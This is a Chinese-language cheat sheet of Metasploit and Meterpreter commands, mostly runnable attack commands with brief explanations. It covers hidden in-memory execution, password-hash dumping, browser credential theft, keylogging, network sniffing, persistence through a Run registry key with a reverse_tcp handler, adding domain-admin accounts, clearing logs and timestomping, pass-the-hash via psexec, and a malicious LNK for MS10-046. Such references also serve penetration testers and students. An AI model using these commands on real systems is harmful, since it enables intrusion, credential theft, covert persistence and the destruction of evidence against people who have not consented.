Metasploit 常用命令解析

1、MSF 终端命令

1.1 常用命令

show exploits

列出 Metasploit 框架中的所有渗透攻击模块

show payloads

列表 Metasploit 框架中所有的攻击载荷

show auxiliary

列出 Metasploit 框架中的所有辅助攻击模块

search name

查找 Metasploit 框架中所有的渗透攻击和其他模块

info

展示出制定渗透攻击或模块的相关信息

use name

装载一个渗透攻击或者模块(例如：使用 use windows/smb.psexec)

show options

列出某个渗透攻击或模块中所有的配置参数

show targets

列出渗透攻击所支持的目标平台

show payloads

列出所有可用的 payloads

show advanced

列出所有高级配置选项

set payload Payload

指定要使用的攻击载荷

set target Num

指定渗透攻击的目标平台，Num 是 show targets 命令中所展示的索引

set autorunscript migrate -f

在攻击完成后，将自动迁移到另一个进程

check

检测目标是否对选定的渗透攻击存在相应安全漏洞

exploit/run

执行攻击，部分辅助模块是用 run

exploit -j

在计划任务下进行渗透攻击(攻击将在后台进行)

exploit -z

渗透攻击成功后不与会话进行交互

exploit -e encoder

制定使用的攻击载荷编码方式(例如：exploit -e shikata_ga_nai)

exploit -h

列出 exploit 命令的帮助信息

sessions -l

列出可用的交互会话

sessions -l -v

列出所有可用的交互会话以及会话详细信息

sessions -s script

在所有活跃的 Meterpreter 会话中运行一个特定的脚本 Meterpreter 脚本

sessions -K

杀死所有活跃的交互会话

sessions -c cmd

在所有活跃的交互会话上执行一个命令

sessions -u sessionID

升级一个普通的 Win32 shell 到 Meterpreter shell(不知道有什么用)

sessions -i index

进入指定交互会话

jobs

查看当前运行的模块

1.2 数据库相关命令

db_create name

创建一个数据库驱动攻击所要使用的数据库

db_connect name

创建并连接一个数据库

db_nmap

利用 nmap 并把扫描数据存储到数据库中

db_autopwn -h

展示出 db_autopwn 命令的帮助信息

db_autopwn -p -r -e

对所有发现的开放端口执行 db_autopwn，攻击所有系统

db_destroy

删除当前数据库

db_destroy user:password@host:port/database

使用高级选项来删除数据库

2、Meterpreter 命令

2.1 常用命令

help

打开 Meterpreter 使用帮助

run scriptname

运行 Meterpreter 脚本，在 scripts/meterpreter 目录下可查看到所有脚本

use priv

加载特权提升扩展模块，来扩展 Meterpreter 库

getprivs

尽可能多地获取目标主机上的特权

getsystem

通过各种攻击向量来提升到系统用户权限

hashdump

导出目标主机中的口令哈希值

rev2self

回到控制目标主机的初始用户账户下

setdesktop number

切换到另一个用户界面(该功能基于哪些用户已登录)

screenshot

对目标主机的屏幕进行截图

background

将当前 Meterpreter shell 转为后台执行

quit

关闭当前 Meterpreter 会话，返回 MSF 终端

2.2 系统命令

ps

显示所有运行进程以及关联的用户账户

migrate PID

迁移到一个指定的进程 PID

execute

执行目标机上的文件

例 1：在目标机上隐藏执行 cmd.exe

execute -H -f cmd.exe

例 2：与 cmd 进行交互

execute -H -i -f cmd.exe

例 3：直接从内存中执行攻击端的可执行文件

execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”

1) -d 选项设置需要显示的进程名

2) 可执行文件(wce.exe)不需要在目标机上存储，不会留下痕迹

getpid

获得当前会话所在进程的 PID 值

kill PID

终结指定的 PID 进程

getuid

获得运行 Meterpreter 会话的用户名，从而查看当前会话具有的权限

sysinfo

列出受控主机的系统信息

shell

以所有可用令牌来运行一个交互的 shell

add_user username password -h IP

在远程目标主机上添加一个用户

add_group_user “Domain Admins” username -h IP

将用户添加到目标主机的域管理员组中

execute -f cmd.exe -i

执行 cmd.exe 命令并进行交互

execute -f cmd.exe -i -t

以所有可用令牌来执行 cmd 命令并交互

execute -f cmd.exe -i -H -t

以所有可用令牌来执行 cmd 命令并隐藏该进程

reboot

重启目标主机

shutdown

关闭目标主机

2.3 文件模块

ls

列出目标主机的文件和文件夹信息

reg command

在目标主机注册表中进行交互，创建、删除、查询等

upload file

向目标主机上传文件

download file

从目标主机下载文件

timestomp

修改文件属性，例如修改文件的创建时间

例如：timestomp file1 -f file2

将 file1 文件的时间信息设置得与 file2 文件完全一样

cat

查看文件内容

getwd

获得目标机上当前的工作目录

edit

编辑目标机上的文件

search

对目标机上的文件进行搜索，支持星号匹配，如

search -d c:\windows -f *.mdb

2.4 键盘鼠标模块

keyscan_start

针对目标主机开启键盘记录功能

keyscan_dump

存储目标主机上捕获的键盘记录

keyscan_stop

停止针对目标主机的键盘记录

uictl enable keyboard/mouse

接管目标主机的键盘和鼠标

2.5 网络命令

ipconfig

获取目标机上的网络接口信息

portfwd

Meterpreter 内嵌的端口转发器，例如将目标机的 3389 端口转发到本地的 1234 端口

portfwd add -l 1234 -p 3389 -r 192.168.10.142

route

显示目标机的路由信息

run get_local_subnets

获取目标机所配置的内网的网段信息

2.6 嗅探模块

use sniffer

加载嗅探模块

sniffer_interfaces

列出目标主机所有开放的网络接口

sniffer_start interfaceID

在目标主机指定网卡上开始监听

sniffer_dump interfaceID /tmp/xpsp1.cap

将指定网卡上嗅探的内容 dump 到本地/tmp/xpsp1.cap 文件中

sniffer_stats interfaceID

获取正在实施嗅探网络接口的统计数据

sniffer_stop interfaceID

停止嗅探

2.7 日志清理

clearev

清除目标主机上的日志记录

run event_manager

清理日志

删除多余的文件，修改文件的修改时间

3、后渗透攻击模块

两种使用方法:

1、在 Msf 终端通过 use post/xxxxxx ，然后设置相关的参数 (如 SESSION)，然后执行 exploit

2、在 Meterpreter 会话中，直接用 run post/xxxxxxx 执行

persistence 模块——开机自启动

run persistence -X -i 5 -p 443 -r 192.168.10.141

命令会在目标主机的注册表键 HKLM\Software\Microsoft\Windows\Currentversion\Run 中添加一个键值，达到开机自启动

-X 参数指定启动的方式为开机自启动

-i 参数指定反向连接的时间间隔

对应攻击机的监听操作如下：

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.10.141

set LPORT 443

exploit

metsvc 模块——持久化自启动

run metsvc

将 Meterpreter 以系统服务的形式安装到目标主机上，在目标主机上开启监听并等待连接

getgui 模块——开启远程桌面

run getgui -u metasploit -p meterpreter

在目标主机上添加了账号 metasploit，其密码为 meterpreter，并开启了远程控制终端

这时在本地连接目标 IP 的 3389 端口即可，如果对方处在内网中，可以使用 portfwd 命令进行端口转发

注意：脚本运行会在 /root/.msf4/logs/scripts/getgui 目录下生成 clean_up__xxxxxxx.rc 脚本，

当在远程桌面操作完之后，可以使用这个脚本清除痕迹，关闭服务、删除添加的账号

run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxxx.rc

3.1 权限提升

getsystem

集成了 4 种权限提升技术

getsystem

利用提权模块，如 MS10-073、MS10-092

位于 /post/windows/escalate 和 exploit/windows/local 目录中

可以通过搜索对应的漏洞编号来查看

利用 bypassuac 模块进行绕过提权

3.2 信息窃取

dumplinks 后渗透模块

run post/windows/gather/dumplinks

查看最近处理的文件资料，

对每一个 LNK 文件，Metasploit 都在/root/.msf4/loot 目录下生成了对应的记录文件，包含文件的原始位置、创建和修改时间等

enum_applications 后渗透模块

run post/windows/gather/enum_applications

获得目标主机安装的软件、安全更新与漏洞补丁的信息

键盘记录相关

keyscan_start

keyscan_dump

keyscan_stop

4、口令攫取和利用

4.1 使用 sniffer 嗅探模块

除外 post/windows/gather/credentials 目录下集成了数十个口令攫取的后渗透攻击模块，包括 VNC、Outlook、FlashFXP、Coreftp、Dyndns 等

4.2 通过浏览器进行口令攫取

run post/windows/gather/enum_ie

读取缓存的 IE 浏览器密码

4.3 系统口令攫取

hashdump

获取系统的密码哈希

run windows/gather/smart_hashdump

如果 hashdump 不成功，尝试此命令

如果开启了 UAC，需要先使用绕过 UAC 的后渗透攻击模块，再获取

4.4 内网拓展

添加路由

run get_local_subnets

background

route add 192.168.10.0 255.255.255.0 1

route print

意味着对 192.168.10.0/24 网段的所有攻击和控制的流量都将通过会话 1 进行转发

4.5 进行 445 端口扫描

MSF 终端：

use auxiliary/scanner/portscan/tcp

set RHOSTS 192.168.10.0/25

set PORTS 445

run

4.6 哈希传递攻击

MSF 终端：

use exploit/windows/smb/psexec

set payload windows/meterpreter/reverse_tcp

set LHOST 10.10.10.128

set LPORT 443

set RHOST 192.168.10.2

set SMBPass xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxx

exploit

4.7 MS08-068 和 MS10-046 漏洞相互配合

MS08-068：当目标机通过 SMB 协议连接到攻击者的恶意 SMB 服务器时，攻击者延时发送 SMB 响应，提取目标机发送的重要字段如 NTLM 哈希并对目标机进行重放，达到身份认证的目的后可以执行任意代码

MS10-046：LNK 快捷方式文件漏洞

* 生成恶意 lnk 文件

MSF 终端：

use post/windows/escalate/droplnk

set LHOST 192.168.10.141 // 查看 session 的 Connection 字段

set SESSION 19 // 对应的 session id

exploit

会在目标主机的 C:\WINDOWS\system32 目录下创建一个 Words.lnk 文件，

当存在漏洞的目标机打开了包含此快捷方式的文件夹，就会以 SMB 方式连接到设定的 SMB 服务器(192.168.10.141)，以尝试加载远程图标